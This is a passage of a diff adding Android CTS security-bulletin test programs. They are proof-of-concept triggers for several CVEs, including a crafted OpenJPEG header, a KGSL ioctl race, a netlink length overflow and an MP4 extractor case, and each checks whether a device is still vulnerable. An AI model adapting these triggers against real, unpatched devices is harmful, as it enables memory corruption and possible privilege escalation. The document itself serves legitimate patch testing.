+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/pdfium/third_party/libopenjpeg20
+LOCAL_SHARED_LIBRARIES := libpdfium
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c
new file mode 100644
index 0000000..e2e3154
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c
@@ -0,0 +1,114 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <stdlib.h>
+#include "openjpeg.h"
+#include "opj_includes.h"
+
+#define REPEATVALUES 100000
+
+unsigned char gStartValues[] = { 0xFF, 0x4F, 0xFF, 0x51, 0x00, 0x2F, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x07, 0x01,
+ 0x01, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0xFF, 0x64, 0x00, 0x23, 0x00,
+ 0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x6F, 0x72, 0x3A, 0x20, 0x4A, 0x61,
+ 0x73, 0x50, 0x65, 0x72, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,
+ 0x20, 0x31, 0x2E, 0x37, 0x30, 0x30, 0x2E, 0x31, 0xFF, 0x52, 0x00, 0x0C,
+ 0x00, 0x00, 0x00, 0x01, 0x01, 0x05, 0x04, 0x04, 0x00, 0x01, 0xFF, 0x5C,
+ 0x00, 0x13, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48,
+ 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x01,
+ 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48,
+ 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x02, 0x40, 0x40,
+ 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50,
+ 0x48, 0x48, 0x50 };
+unsigned int gNumStartValues = sizeof(gStartValues) / sizeof(gStartValues[0]);
+
+unsigned char gRepeatValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00 };
+unsigned int gNumRepeatValues = sizeof(gRepeatValues)
+ / sizeof(gRepeatValues[0]);
+
+unsigned char gLastValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x01, 0x00,
+ 0x00, 0x00, 0x00 };
+unsigned int gNumLastValues = sizeof(gLastValues) / sizeof(gLastValues[0]);
+
+typedef struct {
+ char* blob;
+ ssize_t blobSize;
+ ssize_t readPos;
+} applicationContext;
+
+static OPJ_SIZE_T ReadHandler(void *buffer, OPJ_SIZE_T length, void *context) {
+ applicationContext* appContext = (applicationContext*) context;
+ ssize_t count = 0;
+ ssize_t rem = 0;
+ if (!appContext) {
+ return ((OPJ_SIZE_T) - 1);
+ }
+ rem = appContext->blobSize - appContext->readPos;
+ if ((ssize_t) length <= rem) {
+ count = length;
+ } else {
+ count = rem;
+ }
+ memcpy(buffer, &appContext->blob[appContext->readPos], count);
+ appContext->readPos += count;
+ return ((OPJ_SIZE_T) length);
+}
+
+int main(void) {
+ ssize_t offset = 0;
+ unsigned int count = 0;
+ applicationContext sContext;
+ opj_j2k_t* codec = NULL;
+ opj_stream_t* stream = NULL;
+ opj_image_t* image = NULL;
+ opj_stream_private_t* private = NULL;
+ opj_event_mgr_t eventMgr;
+ stream = opj_stream_default_create(OPJ_TRUE);
+ private = (opj_stream_private_t*)stream;
+
+ sContext.blobSize = gNumStartValues + REPEATVALUES * gNumRepeatValues
+ + gNumLastValues;
+ sContext.blob = (char*) opj_malloc(sContext.blobSize);
+ if (!sContext.blob) {
+ return EXIT_FAILURE;
+ }
+ memset(sContext.blob, 0, sContext.blobSize);
+
+ memcpy(&sContext.blob[offset], gStartValues, gNumStartValues);
+ offset += gNumStartValues;
+ for (count = 0; count < REPEATVALUES; count++) {
+ memcpy(&sContext.blob[offset], gRepeatValues, gNumRepeatValues);
+ offset += gNumRepeatValues;
+ }
+ memcpy(&sContext.blob[offset], gLastValues, gNumLastValues);
+ offset += gNumLastValues;
+ sContext.readPos = 0;
+ private->m_read_fn = ReadHandler;
+ private->m_user_data = (void*)&sContext;
+ private->m_user_data_length = sContext.blobSize;
+ private->m_free_user_data_fn = NULL;
+ codec = opj_j2k_create_decompress();
+ opj_set_default_event_handler(&eventMgr);
+ opj_j2k_read_header(private,codec,&image,&eventMgr);
+ opj_free(sContext.blob);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 94202f6..5d4950a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -26,6 +26,7 @@
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
+#include "../includes/common.h"
#define THREAD_NUM 600
#define DEV "/dev/kgsl-3d0"
@@ -124,39 +125,46 @@
void* child_ioctl_0(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(1);
- while (1) {
+ while (timer_active(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
+ return NULL;
}
void* child_ioctl_1(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(2);
- while (1) {
+ while (timer_active(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
+ return NULL;
}
void* child_ioctl_2(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
set_affinity(3);
- while (1) {
+ while (timer_active(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
+ return NULL;
}
int main() {
int i, ret;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
struct kgsl_drawctxt_destroy kdd = {0};
@@ -179,8 +187,12 @@
pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
}
- while (1) {
+ while (timer_active(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
+
+ close(fd);
+
+ return 0;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
index 1622b39..8dad1b8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
#ifndef __LOCAL_POC_H__
#define __LOCAL_POC_H__
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+ libnl \
+ libc \
+ liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+ struct nl_msg *message = NULL;
+ struct nlmsghdr *hdr;
+ char *data = NULL;
+ uint32_t result = 0;
+ int ret = EXIT_SUCCESS;
+ int pagesize = getpagesize();
+ size_t payloadlength = pagesize + 12 - 0x30;
+ size_t payload2length = pagesize;
+
+ message = nlmsg_alloc();
+ if (message == NULL) {
+ ALOGE("Alloc message memory failed");
+ return EXIT_FAILURE;
+ }
+
+ ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+ hdr = message->nm_nlh;
+
+ //allocate memory for data with payloadlength
+ data = malloc(payloadlength);
+ if (data == NULL) {
+ ALOGE("Alloc data memory failed");
+ nlmsg_free(message);
+ return EXIT_FAILURE;
+ }
+
+ memset(data, 0x41, payloadlength);
+ nla_put(message, 0x4444, payloadlength, data);
+ result = hdr->nlmsg_len;
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", result);
+
+ free(data);
+ data = NULL;
+
+ //allocate memory for data with payload2length
+ data = malloc(payload2length);
+ if (data == NULL) {
+ ALOGE("Alloc data2 memory failed");
+ nlmsg_free(message);
+ return EXIT_FAILURE;
+ }
+ memset(data, 0x33, payload2length);
+ ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+ nla_put(message, 0x8888, 0xFFFFF000, data);
+
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+ /*
+ * return 113 error code if length is mismatch
+ */
+ if(result != hdr->nlmsg_len) {
+ ret = EXIT_VULNERABLE;
+ }
+
+ if(!data) {
+ free(data);
+ data = NULL;
+ }
+
+ if(!message) {
+ nlmsg_free(message);
+ message = NULL;
+ }
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
new file mode 100644
index 0000000..e3884e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0415
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libutils \
+ libui \
+ libgui \
+ libmedia
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
new file mode 100644
index 0000000..37e3ca7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
@@ -0,0 +1,74 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <gui/BufferQueue.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ui/Fence.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAX_TRY 5000 // based on experiments
+volatile int quit = 1;
+
+static void *start2(void *args) {
+ sp<IGraphicBufferProducer> bufferProducer =
+ *(sp<IGraphicBufferProducer> *)args;
+
+ /*
+ * It will end when ever the main thread exits due to
+ * two conditions.
+ * 1. count value reaches less than 0
+ * 2. Transact failed
+ */
+ while (quit) {
+ int buffer;
+ sp<Fence> fence;
+ bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr,
+ nullptr);
+ }
+ return NULL;
+}
+
+int main(__attribute__((unused)) int argc,
+ __attribute__((unused)) char *const argv[]) {
+ int count = MAX_TRY;
+ int result = EXIT_SUCCESS;
+ sp<IGraphicBufferProducer> bufferProducer = NULL;
+ sp<IGraphicBufferConsumer> bufferConsumer = NULL;
+
+ pthread_t thread;
+ pthread_create(&thread, NULL, start2, &bufferProducer);
+
+ while (quit) {
+ bufferConsumer->setConsumerName(String8("dddddddddddddddd"));
+ String8 str = bufferProducer->getConsumerName();
+ if (count < 0) {
+ quit = 0;
+ }
+ if (!strcmp("TransactFailed", str.string())) {
+ result = EXIT_FAILURE;
+ quit = 0;
+ }
+ count--;
+ }
+ pthread_join(thread, NULL);
+
+ return result;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
new file mode 100644
index 0000000..498e85f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0477
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
new file mode 100644
index 0000000..5a7baa7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <sys/mman.h>
+
+typedef struct {
+ uint32_t width;
+ uint32_t height;
+ uint32_t format;
+ const unsigned char* pixels;
+} gdx2d_pixmap;
+
+gdx2d_pixmap *(*gdx2d_load)(const unsigned char *buffer, uint32_t len);
+void (*gdx2d_free)(const gdx2d_pixmap* pixmap);
+
+int main() {
+ void *libgdx = dlopen("libgdx.so", RTLD_LAZY);
+ if(libgdx == NULL) {
+ return -1;
+ }
+ gdx2d_load = dlsym(libgdx, "gdx2d_load");
+ gdx2d_free = dlsym(libgdx, "gdx2d_free");
+ if(gdx2d_load == NULL || gdx2d_free == NULL){
+ dlclose(libgdx);
+ return -2;
+ }
+
+ char *fname = "/data/local/tmp/CVE-2017-0477.gif";
+ int fd = open(fname, O_RDONLY);
+ struct stat st;
+ fstat(fd, &st);
+ void *ptr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+
+ gdx2d_pixmap *pixmap = gdx2d_load((unsigned char *) ptr, st.st_size);
+ if (pixmap) {
+ gdx2d_free(pixmap);
+ }
+ dlclose(libgdx);
+ return 0;
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.mk
new file mode 100644
index 0000000..4ff6d02
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0670
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+ while (count) {
+ void *lib_handle = dlopen(libName, RTLD_NOW);
+ if (!lib_handle) {
+ return EXIT_FAILURE;
+ }
+ if (dlclose(lib_handle)) {
+ return EXIT_FAILURE;
+ }
+ count--;
+ }
+ return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+ char cmd[MAX_STRLEN];
+ char buf[MAX_STRLEN];
+ memset(cmd, 0, MAX_STRLEN);
+ memset(buf, 0, MAX_STRLEN);
+ sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+ FILE *fpMem = popen(cmd, "r");
+ if (!fpMem) {
+ return EXIT_FAILURE;
+ }
+ unsigned long totalMemUsage = 0;
+ while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+ unsigned long mem1 = 0;
+ unsigned long mem2 = 0;
+ int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+ if (numOfItemsRead < 2) {
+ pclose(fpMem);
+ return EXIT_FAILURE;
+ }
+ totalMemUsage += mem2 - mem1;
+ }
+ pclose(fpMem);
+ *memUsage = totalMemUsage;
+ return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+ /* Memory usage is expected to rise during first few dlopen-dlcose pairs */
+ /* due to linker initializations. Hence memory is not tracked during */
+ /* first few dlopen-dlcose pairs. */
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ /* The linker specific initializations should be complete. Hence Memory */
+ /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+ /* are not expected to increase memory usage */
+ unsigned long memUsageBefore = 0;
+ if (getMemoryUsage(&memUsageBefore)) {
+ return EXIT_FAILURE;
+ }
+
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ unsigned long memUsageAfter = 0;
+ if (getMemoryUsage(&memUsageAfter)) {
+ return EXIT_FAILURE;
+ }
+
+ if (memUsageBefore != memUsageAfter) {
+ return EXIT_VULNERABLE;
+ }
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.mk
new file mode 100644
index 0000000..b774326
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0697
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
new file mode 100644
index 0000000..a5b35e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#include <media/IMediaExtractor.h>
+#include <media/DataSourceBase.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+
+#define LIB_NAME "/system/lib64/extractors/libmp4extractor.so"
+#define PSSH_BOX_SIZE 1048576
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+ return (size == PSSH_BOX_SIZE);
+}
+
+int main(int argc, char* argv[]) {
+ (void)argc;
+ (void)argv;
+
+#if _64_BIT
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIB_NAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+ argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor::GetExtractorDef getDef =
+ (MediaExtractor::GetExtractorDef) dlsym(libHandle,
